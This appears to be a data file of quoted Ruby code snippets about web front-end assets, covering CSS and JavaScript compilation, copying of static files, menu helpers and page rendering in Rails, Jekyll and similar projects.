'</div></div></nav></div>\n <div class=\"w3-threequarter\">\n {{ content }}\n </div>\n </div>\n </div>\n </body></html>'\n end\n \n \nend",
"def write_style_sheet\n\t\tdebug_msg \"Copying over static files\"\n\t\tstaticfiles = %w[rdoc.css js images]\n\t\tstaticfiles.each do |path|\n\t\t\tFileUtils.cp_r( @template_dir + path, '.', :verbose => $DEBUG, :noop => $dryrun )\n\t\tend\n\tend",
"def write_style_sheet\n\t\tdebug_msg \"Copying over static files\"\n\t\tstaticfiles = %w[rdoc.css js images]\n\t\tstaticfiles.each do |path|\n\t\t\tFileUtils.cp_r( @template_dir + path, '.', :verbose => $DEBUG, :noop => $dryrun )\n\t\tend\n\tend",
"def run(filename, css); end",
"def to_css()\n \n<<CSS\n.sidenav {\n border-top: 1px solid #9ef;\n border-bottom: 1px solid #9ef;\n width: 130px;\n position: fixed;\n z-index: 1;\n top: 80px;\n left: 10px;\n background: transparent;\n overflow-x: hidden;\n padding: 8px 0;\n}\n .sidenav ul {\n background-color: transparent; margin: 0.3em 0.3em 0.3em 0.9em; \n padding: 0.3em 0.5em; color: #5af;\n }\n \n .sidenav ul li {\n background-color: transparent; margin: 0.3em 0.1em; \n padding: 0.2em\n }\n\n.sidenav a {\n color: #5af;\n padding: 6px 8px 6px 8px;\n text-decoration: none;\n font-size: 0.9em;\n\n}\n\n\n.sidenav a:focus { color: #1e2; }\n.sidenav a:hover { color: #1e2; }\n.sidenav a:active { color: #1e2; }\n\n\na:link:active, a:visited:active {\n color: (internal value);\n}\n\n.main {\n margin-left: 140px; /* Same width as the sidebar + left position in px */\n font-size: 1.0em; /* Increased text to enable scrolling */\n padding: 0px 10px;\n}\n\n}\nCSS\n\n end",
"def css\n @css ||= assemble_css\n end",
"def load_js\n AssetManager.include_contrib_library [:core_ui, :jquery_tab]\n AssetManager.include_local_library [ 'ckeditor/init']\n\n AssetManager.include_css [:blog_global]\n end",
"def ajoutCss()\n #css label\n @labelChoix.override_color(:normal, Fenetre::COULEUR_BLANC)\n @labelChoix.set_margin_top(40)\n @list.set_hexpand(true);\n @labelEtape.override_color(:normal, Fenetre::COULEUR_BLANC)\n @labelEtape.set_hexpand(true);\n @texteContenu.override_color(:normal, Fenetre::COULEUR_BLANC)\n @texteContenu.set_margin(4)\n @labelChoix2.override_color(:normal, Fenetre::COULEUR_BLANC)\n #css bouton\n @boxContour.override_background_color(:normal, Fenetre::COULEUR_BLANC)\n @boxTexte.override_background_color(:normal, Fenetre::COULEUR_BLEU)\n @boxTexte.set_margin(3)\n @boutonEtapePrec.set_hexpand(true);\n @boutonEtapeSuiv.set_hexpand(true);\n @boxInfo.set_margin(10)\n end",
"def ajoutCss()\n #css label\n @labelChoix.override_color(:normal, Fenetre::COULEUR_BLANC)\n @labelChoix.set_margin_top(40)\n @list.set_hexpand(true);\n @labelEtape.override_color(:normal, Fenetre::COULEUR_BLANC)\n @labelEtape.set_hexpand(true);\n @texteContenu.override_color(:normal, Fenetre::COULEUR_BLANC)\n @texteContenu.set_margin(4)\n @labelChoix2.override_color(:normal, Fenetre::COULEUR_BLANC)\n #css bouton\n @boxContour.override_background_color(:normal, Fenetre::COULEUR_BLANC)\n @boxTexte.override_background_color(:normal, Fenetre::COULEUR_BLEU)\n @boxTexte.set_margin(3)\n @boutonEtapePrec.set_hexpand(true);\n @boutonEtapeSuiv.set_hexpand(true);\n @boxInfo.set_margin(10)\n end",
"def compile(css, include_paths, settings)\n\tcss\nend",
"def main_menu\n ctrlr = request.parameters['controller'].split('/').last\n dashboard_class = (ctrlr == 'dashboard' ? 'current' : '')\n assets_class = (ctrlr == 'assets' ? 'current' : '')\n design_class = ((ctrlr == 'themes' || ctrlr == 'resources') ? 'current' : '')\n contacts_class = (ctrlr == 'contacts' ? 'current' : '')\n settings_class = (ctrlr == 'settings' ? 'current' : '')\n content_class = ((ctrlr == 'home' || ctrlr == 'links' || ctrlr == 'news_items' || ctrlr == 'portfolios' || ctrlr == 'assigned_assets' || ctrlr == 'resume_sections' || ctrlr == 'resume_items' || ctrlr == 'galleries') ? 'current' : '')\n admin_class = ((ctrlr == 'users' || ctrlr == 'sites' || ctrlr == 'memberships') ? 'current' : '')\n \n result = content_tag('li', link_to('Dashboard', admin_dashboard_path, :class => dashboard_class))\n result << content_tag('li', link_to('Content', edit_admin_home_path, :class => content_class))\n result << content_tag('li', link_to(assets_name, admin_assets_path, :class => assets_class))\n result << content_tag('li', link_to('Design', admin_themes_path, :class => design_class))\n result << content_tag('li', link_to('Contacts', admin_contacts_path, :class => contacts_class))\n result << content_tag('li', link_to('Settings', edit_admin_settings_path, :class => settings_class))\n if admin?\n result << content_tag('li', link_to('Admin', admin_users_path, :class => admin_class))\n end\n result\n end",
"def styles; end",
"def styles; end",
"def styles; end",
"def all_js_into_one_file\n File.open(base_js_file, 'w') do |file|\n js_files.each do |js_file|\n file.write('/* file: ' + js_file + \" */\\n\") if development?\n file.write(File.read(js_file))\n end\n end\n end",
"def cache!\n self.clear_cache!\n self.public = true\n self.official = true\n save!\n css_to_cache = \"\"\n last_role = \"\"\n file_count = 1\n skin_dir = Skin.skins_dir + skin_dirname\n FileUtils.mkdir_p skin_dir\n (get_all_parents + [self]).each do |next_skin|\n if next_skin.get_sheet_role != last_role\n # save to file\n if css_to_cache.present?\n cache_filename = skin_dir + \"#{file_count}_#{last_role}.css\"\n file_count+=1\n File.open(cache_filename, 'w') {|f| f.write(css_to_cache)}\n css_to_cache = \"\"\n end\n last_role = next_skin.get_sheet_role\n end\n css_to_cache += next_skin.get_css\n end\n # TODO this repetition is all wrong but my brain is fried\n if css_to_cache.present?\n cache_filename = skin_dir + \"#{file_count}_#{last_role}.css\"\n File.open(cache_filename, 'w') {|f| f.write(css_to_cache)}\n css_to_cache = \"\"\n end\n self.cached = true\n save!\n end",
"def set_static_includes\r\n @javascripts = [JS_SCRIPTACULOUS_SKOBEE_DEFAULT, JS_SKOBEE_PLANS, JS_DATEPICKER, JS_JSON]\r\n end",
"def generate(site)\n # Current directory is the root-level directory\n js_vendor_dir = 'source/_assets/javascripts/vendor/'\n js_file_name = 'mail-helper.js'\n js_full_name = js_vendor_dir + js_file_name\n\n mail_obfuscate_js = File.read(js_full_name)\n Liquid::Template.register_filter(MReverse)\n output_js = Liquid::Template.parse(mail_obfuscate_js).\n render('site' => site.config)\n File.write(js_full_name, output_js)\n end",
"def css\n puts 'Compiling LESS files to CSS...'\n `lessc ./less/main.less ../www/_res/css/uncompressed/main.css`\n puts 'Compressing CSS files...'\n `java -jar ./_scripts/yuicompressor-2.4.2.jar ../www/_res/css/uncompressed/main.css -o ../www/_res/css/main.css`\nend",
"def ajoutCss()\n #css label\n @titreLabel.override_color(:normal, Fenetre::COULEUR_BLANC)\n @titreLabel.set_margin_top(30)\n @tmp.set_margin_top(10)\n @labelCouleurCaseBase.override_color(:normal, Fenetre::COULEUR_BLANC)\n @labelCouleurCaseBase.set_margin(10)\n @labelCouleurCaseBase.set_margin_bottom(0)\n @labelCouleurCaseSelectionne.override_color(:normal, Fenetre::COULEUR_BLANC)\n @labelCouleurCaseSelectionne.set_margin(10)\n @labelCouleurCaseSelectionne.set_margin_bottom(0)\n @labelCouleurTexte.override_color(:normal, Fenetre::COULEUR_BLANC)\n @labelCouleurTexte.set_margin(10)\n @labelCouleurTexte.set_margin_bottom(0)\n @labelCouleurIndices.override_color(:normal, Fenetre::COULEUR_BLANC)\n @labelCouleurIndices.set_margin(10)\n @labelCouleurIndices.set_margin_bottom(0)\n @labelPolice.override_color(:normal, Fenetre::COULEUR_BLANC)\n @labelPolice.set_margin(10)\n @labelPolice.set_margin_bottom(0)\n #css bouton\n @boutonCouleurCaseBase.set_margin(10)\n @boutonCouleurCaseBase.set_margin_bottom(0)\n @boutonCouleurCaseSelectionne.set_margin(10)\n @boutonCouleurCaseSelectionne.set_margin_bottom(0)\n @boutonCouleurTexte.set_margin(10)\n @boutonCouleurTexte.set_margin_bottom(0)\n @boutonCouleurIndices.set_margin(10)\n @boutonCouleurIndices.set_margin_bottom(0)\n @boutonPolice.set_margin(10)\n @boutonPolice.set_margin_bottom(0)\n @boutonReset.set_margin(30)\n @boutonReset.set_margin_bottom(0)\n end",
"def assets\n unless IO.read(\"app/assets/stylesheets/application.css\").include?(\"Required by SULChrome\")\n insert_into_file \"app/assets/stylesheets/application.css\", :after => \"/*\" do\n %q{\n * Required by SULChrome:\n *= require sul_chrome/sul_chrome_base\n *}\n end\n end\n unless IO.read(\"app/assets/javascripts/application.js\").include?(\"Required by SULChrome\")\n insert_into_file \"app/assets/javascripts/application.js\", :before => \"//= require_tree .\" do\n%q{// Required by SULChrome:\n//= require sul_chrome/sul_chrome_base\n}\n end\n end\n end",
"def get_stylesheets\n @sheets = [\"layout_style.css\"]\n \n if $active_page ==\"index.index\"\n @sheets.push(\"./index/index_style.css\")\n end\n if $active_page == \"job.index\"\n @sheets.push(\"./job/index_style.css\")\n end \n if $active_page == \"job.show\"\n @sheets.push(\"./job/show_style.css\")\n end \n if $active_page == \"job.new\"\n @sheets.push(\"./job/new_style.css\")\n end\n if $active_page == \"subcontractor.index\"\n @sheets.push(\"./subcontractor/index_style.css\")\n end\n if $active_page == \"subcontractor.show\"\n @sheets.push(\"./subcontractor/show_style.css\")\n end\n if $active_page == \"subcontractor.new\"\n @sheets.push(\"./subcontractor/new_style.css\")\n end\n if $active_page == \"supplier.show\"\n @sheets.push(\"./supplier/show_style.css\")\n end\n if $active_page == \"vendor.show\"\n @sheets.push(\"./vendor/show_style.css\")\n end\n if $active_page == \"vendor.index\"\n @sheets.push(\"./vendor/index_style.css\")\n end\n if $active_page == \"list_item.index\"\n @sheets.push(\"./list_item/index_style.css\")\n end\n if $active_page == \"list_item.new\"\n @sheets.push(\"./list_item/new_style.css\")\n end\n if $active_page == \"vendor.new\"\n @sheets.push(\"./vendor/new_style.css\")\n end\n if $active_page == \"assignment.new\"\n @sheets.push(\"./assignment/new_style.css\")\n end\n \n return @sheets\n \n end",
"def right_js_classes_menu\n packs = {}\n Unit.all.each do |unit|\n packs[unit.package] ||= []\n packs[unit.package] << unit\n end\n\n packs.keys.sort.collect { |package|\n content_tag(:label, package.capitalize) +\n content_tag(:ul, packs[package].collect { |unit|\n menu_link_to(unit.name, unit, {}, request.request_uri == unit_path(unit))+\n (@unit == unit ? right_js_unit_menu(unit) : '')\n })\n }.join(\"\\n\")\n end",
"def css_styles\n end",
"def index\n js = cli_val(:js,'jsx')\n cli_val(:css, 'css0', 'css1','css2')\n css = cli_val :css\n js.concat(css).to_yaml\n end",
"def css_code\n '<style type=\"text/css\">' <<\n asset('webconsole.css') <<\n '</style>'\n end",
"def preview\n \n # @lg = PageTag::PageGenerator.previewer( @menu, @theme, {:resource=>(@resource.nil? ? nil:@resource),:controller=>self})\n # html = @lg.generate\n # css,js = @lg.generate_assets \n #insert css to html\n # style = %Q!<style type=\"text/css\">#{css}</style>!\n #editor_panel require @theme, @editors, @editor ...\n # html.insert(html.index(\"</head>\"),style)\n # html.insert(html.index(\"</body>\"),@editor_panel)\n # respond_to do |format|\n # format.html {render :text => html}\n # end\n \n end",
"def css_path; end",
"def css_path; end",
"def generate(site)\n site.static_files.clone.each do |sf|\n if sf.kind_of?(Jekyll::StaticFile) && sf.path =~ /\\.less$/\n site.static_files.delete(sf)\n name = File.basename(sf.path)\n destination = File.dirname(sf.path).sub(site.source, '')\n site.static_files << LessCssFile.new(site, site.source, destination, name)\n end\n end\n end",
"def js\n puts 'Compressing JS files...'\n `java -jar ./_scripts/yuicompressor-2.4.2.jar ../www/_res/js/uncompressed/main.js -o ../www/_res/js/main.js`\n # --nomunge\nend",
"def css_render\n css_list.join(\"\\n\")\n end",
"def printCSS\r\n css=\"<style type=\\\"text/css\\\">\\n\" \r\n @concreteInterfaceIds.each do\r\n |concrete_interface|\r\n concrete_interface = SWUI::ConcreteInterface.find_by.interface_name(concrete_interface).execute.first.concrete_interface_code.first\r\n css << concrete_interface\r\n css << \"\\n\"\r\n end\r\n @ajaxcontrolIds.each do\r\n |ajaxcontrolId|\r\n ajaxcontrol = SWUI::RichControl.find_by.concrete_widget_name(ajaxcontrolId).execute.first\r\n cssCode = ajaxcontrol.cssCode.first\r\n css << \"#{cssCode}\\n\"\r\n end\r\n css << \"</style>\\n\"\r\n return css\r\n end",
"def build_for_demo \n `elm make elm/Main.elm --output assets/js/elm.js`\n `minify assets/js/elm.js assets/js/elm.min.js`\n FileUtil.cp \"assets/js/elm.js\" \"../demo-elm-doc-builder/assets/js/elm.js\"\n FileUtil.cp \"assets/js/elm.min.js\" \"../demo-elm-doc-builder/assets/js/elm.min.js\"\nend",
"def javascript_compile_list\n\t[\t\n\t\t# Wordpress distributed JS (not monitored for changes...)\n\t\t#\"../../../wp-includes/js/jquery/jquery-migrate.min.js\",\n\t\t#\"../../../wp-includes/js/jquery/jquery.masonry.min.js\",\n\n\t\t# Theme JS\n\t\t\"js/jquery-1.11.0.js\",\n\t\t\"js/jquery-ui-1.10.4.datepicker.js\",\n\t\t\"js/jquery.cookie.js\",\n\t\t\"js/functions.js\",\n\t\t\"js/imagelightbox.js\",\n\t\t\"js/lightboxinit.js\",\n\t\t\"js/jflickrfeed.js\",\n\t\t\"js/flickrsetup.js\",\n\t\t\"js/vender.js\", \n\t\t\"js/scrollTo.js\",\n\t\t\"js/placeholder.js\",\n\t\t\"js/default.js\",\n\t\t\"js/campus-libraries.js\",\n\t\t\"js/find-a-library.js\",\n\t\t\"js/datepicker.js\",\n\t\t\"js/library.js\",\n\t\t\"js/directory.js\",\n\t\t\"js/liaison.js\",\n\t\t\"js/locations.js\",\n\t\t\"js/ask.js\",\n\t\t\"js/alerts.js\",\n\t\t\"js/google-support.js\",\n\t\t\"js/locate.js\"\n\t]\nend",
"def generate(site)\n site.static_files.clone.each do |sf|\n if sf.kind_of?(Jekyll::StaticFile) && sf.path =~ /\\.coffee$/\n site.static_files.delete(sf)\n name = File.basename(sf.path)\n destination = File.dirname(sf.path).sub(site.source, '')\n site.static_files << CoffeeScriptFile.new(site, site.source, destination, name)\n end\n end\n end",
"def assets; end",
"def assets; end",
"def assets; end",
"def active_scaffold_includes(frontend = :default)\r\n js = javascript_include_tag(*active_scaffold_javascripts(frontend))\r\n\r\n css = stylesheet_link_tag(*active_scaffold_stylesheets(frontend))\r\n ie_css = stylesheet_link_tag(*active_scaffold_ie_stylesheets(frontend))\r\n\r\n js + \"\\n\" + css + \"\\n<!--[if IE]>\" + ie_css + \"<![endif]-->\\n\"\r\n end",
"def generate(toplevels)\n @toplevels = toplevels\n @files = []\n @classes = []\n\n write_style_sheet\n gen_sub_directories()\n build_indices\n generate_html\n end",
"def javascripts\n super + %w(js/custom.js)\nend",
"def build_css\n Dir[\"#{@src_dir}/stylesheets/**/*.{sass,scss}\"].each do |path|\n file_dir, template = source_template_from_path(path.sub(/^#{@src_dir}\\/stylesheets/, ''))\n\n if !template.match(/(^|\\/)\\_/)\n save_stylesheet(File.join(file_dir, template), generate_css(template, file_dir))\n end\n end\n end",
"def page_script(context={})\n \n [\"/htmleditor/js/jquery.wysiwyg.js\",\n \"/htmleditor/js/ysd.editor.js\",\n \"/htmleditor/js/controls/wysiwyg.colorpicker.js\",\n \"/htmleditor/js/controls/wysiwyg.cssWrap.js\",\n \"/htmleditor/js/controls/wysiwyg.image.js\",\n \"/htmleditor/js/controls/wysiwyg.link.js\",\n \"/htmleditor/js/controls/wysiwyg.table.js\",\n ] \n \n end",
"def sass_page; end",
"def assemble_css\n renderer = Liquid::Template.parse(@stylesheet.data)\n renderer.render(global_template_data, :filters => liquid_filters)\n end",
"def build\n html = []\n scripts.each do |script|\n code = File.read(script)\n html << %[<div class=\"file\" id=\"#{script}\"><pre>]\n html << highlight(code)\n html << %[</pre></div>]\n end\n text = html.join(\"\\n\")\n text = interlink(text)\n text = garnish(text)\n text\n end",
"def render_deferred_javascript_files\n #write any deffered javascript files\n return '' if @content_for_javascript_files.blank?\n js_code = \"\\n<!-- DEFFERRED Javascripts -->\\n#{@content_for_javascript_files}\"\n end",
"def build_dev\n timer_block(\n 'Start [development] build for *.js files',\n 'JS time: ') do\n all_js_into_one_file\n end\n end",
"def render_menus \n# student_menu = add_menu('#{@studentb.full_name}')\n student_menu = add_menu('#{image_tag(@studentb.thumb_image,:style=>\";float:left;height:25px;margin-right:10px;\") + \" \" + @studentb.full_name + \" \"}',:action=>'profile')\n student_menu.add_submenu('Profile',:action=>'profile')\n student_menu.add_submenu('Photos',:action=>'photo',:if=>\"@studentb.visible_album_counts(@me) > 0\") \n student_menu.add_submenu('Binder',:action=>'show_notes',:if=>\"@studentb.notes.not_anonymous.size > 0\") \n \n end",
"def finalize_menu\n \n return if skip_method(__method__) \n \n # save the menu items in a partial for inclusion in main menu\n template = File.read(template(\"rails/menu_container.erb\"))\n\n # #text = Erubis::Eruby.new(template).result(:menus => @@menus, :comments =>\n # @@comments)\n \n text = Erubis::Eruby.new(template).evaluate( self )\n \n filename = \"app/views/shared/_menu.html.erb\"\n puts \"finalize Rails menu in #{filename}\"\n\n # generate the output\n write_artifact(filename,text)\n \n # create a single page that lists the database tables with their comments\n template = File.read(template(\"rails/table_index.erb\"))\n\n # #text = Erubis::Eruby.new(template).result(:menus => @@menus, :comments =>\n # @@comments)\n \n text = Erubis::Eruby.new(template).evaluate( self )\n \n filename = \"app/views/shared/_index.html.erb\"\n puts \"finalize Rails menu index in #{filename}\"\n\n # generate the output\n write_artifact(filename,text)\n \n end",
"def copy_js\n template \"public/javascripts/regulate_admin.js\", \"public/javascripts/regulate_admin.js\"\n end",
"def closurize(requires, includes, dest_file, format)\n\t\t\tcmds = [\"python #{TASKS_JAVASCRIPT_DIR}/calcdeps.py\"]\n\t\t\tcmds << \"-i #{requires}\"\n\t\t\tincludes.each do |dir|\n\t\t\t\t\tcmds << \"-p #{dir}\"\n\t\t\tend\n\t\t\tcmds << \"-o #{format}\"\n\t\t\tcmds << \"-c #{TASKS_JAVASCRIPT_DIR}/compiler.jar\"\n\n\t\t\tmkdir_p File.dirname(dest_file)\n\t\t\tcmds << \"--output_file=#{dest_file}\" if format != 'list'\n\t\t\tsh cmds.join(\" \")\n\n\t\t\tputs(\"Compiled javascript in [#{format}] mode\")\n\tend",
"def inject_js; end",
"def view_layouts_base_html_head(context)\n stylesheet_link_tag(\"drafts\", :plugin => \"redmine_drafts\") +\n javascript_include_tag('jquery.observe-form.js', :plugin => 'redmine_drafts')\n end",
"def default\n html = '<div class=\"menu0-div\"><ul>'\n @selected = find_selected\n level_0 = DcBigMenu.where(dc_site_id: @site._id, parent: nil, active: true).sort(order: 1).to_a\n level_0.each do |item|\n# menu can be hidden from user \n can_view, msg = dc_user_can_view(@parent, item)\n next unless can_view\n klas = item.id == @selected.id ? \"menu0-selected\" : \"menu0-item\"\n html << \"<li class='#{klas}'>#{ link_4menu(item) }</li>\\n\"\n end\n html << \"</ul></div>\"\n# submenu\n level_1 = DcBigMenu.where(dc_site_id: @site._id, parent: @selected.id, active: true).sort(order: 1).to_a\n html << \"<div class='menu1-div'><ul>\\n\"\n level_1.each do |item1|\n# menu can be hidden from user \n can_view, msg = dc_user_can_view(@parent, item1)\n next unless can_view\n html << \" <li class='menu1-item'>#{link_4menu(item1)}</li>\\n\"\n end\n html << '</ul></div>'\nend",
"def initialize source_dir, config, js\r\n @javascripts = []\r\n @stylesheets = []\r\n @source_dir = source_dir\r\n @config = config\r\n @html_dir = resolve_html_dir\r\n #@game_config = PlotConfig.new(\"#{source_dir}/config.yaml\")\r\n @resource_paths = [\"#{html_dir}\", Gamefic::Sdk::HTML_TEMPLATE_PATH]\r\n config_file = \"#{html_dir}/index.rb\"\r\n stage File.read(config_file), config_file\r\n javascripts.concat js\r\n end",
"def include_javascript\n @outfile.puts <<'EOF'\n <script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.js\"></script>\n <link rel=\"stylesheet\" href=\"https://ajax.googleapis.com/ajax/libs/jqueryui/1.12.1/themes/smoothness/jquery-ui.css\" />\n <script src=\"https://ajax.googleapis.com/ajax/libs/jqueryui/1.12.1/jquery-ui.min.js\"></script> \nEOF\n Pathname.new(JavascriptDir).find do |path|\n next unless path.file?\n if @one_file\n @outfile.puts \" <script>\"\n @outfile.puts path.read\n @outfile.puts \" </script>\"\n else\n @outfile.puts \"<script src=\\\"lib/javascript/#{path.basename}\\\"></script>\"\n end\n end\n end",
"def ajoutCss()\n #css label\n @titreLabel.override_color(:normal, Fenetre::COULEUR_BLANC)\n @titreLabel.set_margin_top(30)\n\t\t@labelDifficulte.override_color(:normal, Fenetre::COULEUR_BLANC)\n @labelDifficulte.set_margin(30)\t\t\n\t\t@labelRecord.override_color(:normal, Fenetre::COULEUR_BLANC)\t\n @labelRecord.set_margin(30)\t\n\t\t@labelMoyenne.override_color(:normal, Fenetre::COULEUR_BLANC)\t\n @labelMoyenne.set_margin(30)\t\n\t\t@labelNbPartie.override_color(:normal, Fenetre::COULEUR_BLANC)\n @labelNbPartie.set_margin(30)\n\t\t@labelFacile.override_color(:normal, Fenetre::COULEUR_VERT)\n @labelFacile.set_margin(15)\n\t\t@labelMoyen.override_color(:normal, Fenetre::COULEUR_JAUNE)\n @labelMoyen.set_margin(15)\n\t\t@labelDifficile.override_color(:normal, Fenetre::COULEUR_ROUGE)\n @labelDifficile.set_margin(15)\n end",
"def build #title, form_name, form_action, script='', append_body='')\n \n @disable = []\n \n xhtml = %Q{ \n <html> \n <head>\n <title>#{self.meta['title']}</title>\n }\n if self.meta['stylesheets']\n self.meta['stylesheets'].each { |css|\n xhtml += %Q{ <link type=\"text/css\" src=\"#{css}\" /> \\n }\n }\n end\n if self.meta['javascripts']\n self.meta['javascripts'].each { |js|\n xhtml += %Q{ <script langauge=\"javascript\" src=\"#{jc}\" /> \\n }\n }\n end\n #xhtml += %Q{\n # <style type=\"text/css\">\n # #{build_css(self.style)}\n # </style>\n #}\n xhtml += %Q{ </head> }\n xhtml += %Q{\n <body onload=\"javascript: loadScript();\">\n #{self.meta['prepend']}\n #{self.main.build}\n #{self.meta['append']}\n </body>\n </html>\n }\n return CGI::pretty(xhtml)\n #return PrettyXML.pretty(html, 2)\n end",
"def per_page_javascript()\n\t\tpage_index = request[\"path\"].gsub(\".html\",\"\").gsub(\"/\",\"_\")\n\t\tif File.exists? \"#{Dir.pwd}/source/#{js_dir}/pages/#{page_index}.js\"\n\t\t\tjavascript_include_tag(\"pages/#{page_index}.js\")\n\t\tend\n\tend",
"def execute!\n # Sort order, images, fonts, js/css and finally everything else.\n sort_order = %w(.png .jpeg .jpg .gif .bmp .svg .svgz .ico .webp .woff .woff2 .otf .ttf .eot .js .css)\n\n # Pre-request CSS to give Compass a chance to build sprites\n logger.debug '== Prerendering CSS'\n\n @app.sitemap.resources.select do |resource|\n resource.ext == '.css'\n end.each(&method(:build_resource))\n\n logger.debug '== Checking for Compass sprites'\n\n # Double-check for compass sprites\n @app.files.find_new_files((@source_dir + @app.images_dir).relative_path_from(@app.root_path))\n @app.sitemap.ensure_resource_list_updated!\n\n # Sort paths to be built by the above order. This is primarily so Compass can\n # find files in the build folder when it needs to generate sprites for the\n # css files\n\n logger.debug '== Building files'\n\n resources = @app.sitemap.resources.sort_by do |r|\n sort_order.index(r.ext) || 100\n end\n\n if @build_dir.expand_path.relative_path_from(@source_dir).to_s =~ /\\A[.\\/]+\\Z/\n raise \":build_dir (#{@build_dir}) cannot be a parent of :source_dir (#{@source_dir})\"\n end\n\n # Loop over all the paths and build them.\n resources.reject do |resource|\n resource.ext == '.css'\n end.each(&method(:build_resource))\n\n ::Middleman::Profiling.report('build')\n end",
"def theme; end",
"def theme; end",
"def theme; end",
"def render_inline_on_load_javascripts\n return '' if @content_for_jquery_onload.blank? && @content_for_javascript_files_onload.blank?\n js_code = \"\\n<!-- DEFFERRED On page load Javascripts -->\\n\"\n on_load_scripts = [ ]\n #write the onload inline javascripts\n on_load_scripts << @content_for_jquery_onload if @content_for_jquery_onload\n #write the javascript files which are jammed into the document head\n on_load_scripts << @content_for_javascript_files_onload if @content_for_javascript_files_onload\n js_code << javascript_tag(j_query_on_load_tag(on_load_scripts)) unless on_load_scripts.blank?\n js_code\n end",
"def compile_js_files(file, prod=true)\n\t# use development style options for now, even in production\n\tif prod\n\t\toptions = {:output => {:comments => :none }}\n\t\tFile.open(file, \"w\") { |f| f.write(Uglifier.compile(concat_js_files, options)) }\n\telse\n\t\t#options = {:output => {:comments => :all, :beautify => true, :preserve_line => true}}\n\t\tFile.open(file, \"w\") { |f| f.write(concat_js_files) }\n\tend\n\n\tputs \" \\e[32mwrite #{file}\\e[0m\"\nend",
"def set_static_includes\r\n @javascripts = [JS_SCRIPTACULOUS_SKOBEE_DEFAULT, JS_SKOBEE_COMMENTS]\r\n end",
"def write_page_assets(site_dir)\n end",
"def copie_of_css\n suivi('--> Copie des fichiers CSS')\n ['styles','analyse','styles_mobi7_kf8'].each do |affixe|\n src = File.join(folder_templates,\"#{affixe}.css\")\n dst = File.join(film.folder_products, \"#{affixe}.css\")\n FileUtils.copy_entry(src, dst, false, false, true)\n end\nend",
"def page()\n session[:edit_mode] ||= 0\n# Initialize parts\n @parts = nil\n @js, @css = '', ''\n# find domain name in sites\n @site = dc_get_site\n# site is not defined. render 404 error\n return dc_render_404('Site!') if @site.nil?\n dc_set_options(@site.settings)\n# HOMEPAGE. When no parameters is set\n params[:path] = @site.homepage_link if params[:id].nil? and params[:path].nil?\n# Search for page \n pageclass = @site.page_table.classify.constantize\n if params[:id]\n @page = pageclass.find_by(subject_link: params[:id])\n elsif params[:path]\n# path may point direct to page's subject_link\n @page = pageclass.find_by(subject_link: params[:path])\n end\n# if @page is not found render 404 error\n return dc_render_404('Page!') unless @page\n dc_set_options @page.params\n# find design if defined. Otherwise design MUST be declared in site\n if @page.dc_design_id\n @design = DcDesign.find(@page.dc_design_id)\n return dc_render_404('Design!') unless @design\n end\n# Add to edit menu\n if session[:edit_mode] > 0\n session[:site_id] = @site.id\n session[:site_page_table] = @site.page_table\n session[:page_id] = @page.id\n end\n# perform check every hour. Perhaps if user has rights changes\n session[:last_check] ||= Time.now\n if (session[:last_check] - Time.now) > 3600\n # perform checks\n # TO BE DONE\n \n # update time\n session[:last_check] = Time.now\n end \n @page_title = @page.subject.empty? ? @site.page_title : @page.subject\n get_design_and_render @design\nend",
"def generate_layout\n if options.sass?\n directory 'app'\n gem 'compass', '>=0.10.5'\n gem 'compass-960-plugin', '>=0.10.0'\n directory 'config'\n else\n copy_file \"stylesheet.css\", \"public/stylesheets/#{file_name}.css\" if options.stylesheet?\n copy_file \"handheld.css\", \"public/stylesheets/handheld.css\" if options.stylesheet?\n end\n copy_file \"modernizr-1.5.min.js\", \"public/javascripts/modernizr-1.5.min.js\"\n copy_file \"jquery-1.4.2.min.js\", \"public/javascripts/jquery-1.4.2.min.js\"\n copy_file \"dd_belatedpng.js\", \"public/javascripts/dd_belatedpng.js\"\n\n template \"layout.html.erb\", \"app/views/layouts/#{file_name}.html.erb\"\n copy_file 'layout_helper.rb', 'app/helpers/layout_helper.rb'\n end",
"def compile_coffee_to_js\n files = ['level_core', 'path_core', 'deadlock_core']\n files.each do |file|\n if File.exist?(\"lib/assets/#{file}.js\")\n File.delete(\"lib/assets/#{file}.js\")\n end\n compile_file_coffee_to_js(\"app/assets/javascripts/game/models/#{file}.js.coffee\", \"lib/assets/#{file}.js\")\n end\nend",
"def index\n#DEBUG\n#@submenu = :about\n#@submenu = :departments\n@submenu = :resources\n\n # 'static' documents are in app/views/static\n # path is relative from template home ( app/views )\n path = 'static' \n\n # set path from params if available\n #path = 'static/' + params[:path].join('/') unless params[ :path ].nil?\n path = 'static/' + params[:path] unless params[ :path ].nil?\n# DEBUG\n#@path = path\n\n\n # file_path is relative from Rails home\n file_path = 'app/views/' + path\n full_path = Rails.root.to_s + '/app/views/' + path\n\n \n#logger.debug \" value = \" + request.url\n # if the file_path is a directory, but the URL doesn't end with a slash\n # (this helps with relative paths for URLs contained in the document)\n# if File.directory?( file_path )# && ! /\\/$/.match( request.path )\n # Rails 3 suppresses trailing slashes in request.path\n # Use request.original_url, request.original_fullpath or request.env[ 'REQUEST_URI' ]\n if File.directory?( file_path ) && ! /\\/$/.match( request.original_url )\n redirect_to( request.path + '/' )\n return\n end\n\n file_to_render = nil\n case\n # if the file_path is a directory\n when File.directory?( file_path )\n file_to_render = full_path + '/index.html.erb'\n # use .html if .html.erb doesn't exist\n# file_to_render = full_path + '/index.html' unless File.exists?( file_to_render )\n # if the file_path is a plain file and ends with .html\n# when File.file?( file_path ) && /\\.html$/.match( file_path )\n# file_to_render = full_path\n # if the file_path with .html appended is a plain file\n# when File.file?( file_path + '.html' )\n# file_to_render = full_path + '.html'\n # if the file_path with .html.erb appended is a plain file\n when File.file?( file_path + '.html.erb' )\n file_to_render = full_path + '.html.erb'\n end\n\n unless file_to_render.nil?\n file = File.open( file_to_render )\n file_contents = file.read\n file.close\n render :inline => file_contents, :layout => true #, :formats => [ :html ]\n else\n #render :file => Rails.root.to_s + '/app/views/static/404.html', :layout => true, :status => 404, :formats => [ :html ]\n render :file => Rails.root.to_s + '/public/404.html', :layout => true, :status => 404, :formats => [ :html ]\n# DEBUG\n# raise ::ActionController::RoutingError,\n# \"Recognition failed for #{request.path.inspect} #{ path }\"\n end\n\n end",
"def pages_js\n Dir[src_path.join('pages', '**', '*.js').to_s]\n end",
"def code(env)\n html_code <<\n css_code <<\n render(js_code,\n :TOKEN => Webconsole::Repl.token,\n :KEY_CODE => Webconsole.key_code,\n :CONTEXT => env['SCRIPT_NAME'] || \"\")\n end",
"def js_includes\n end",
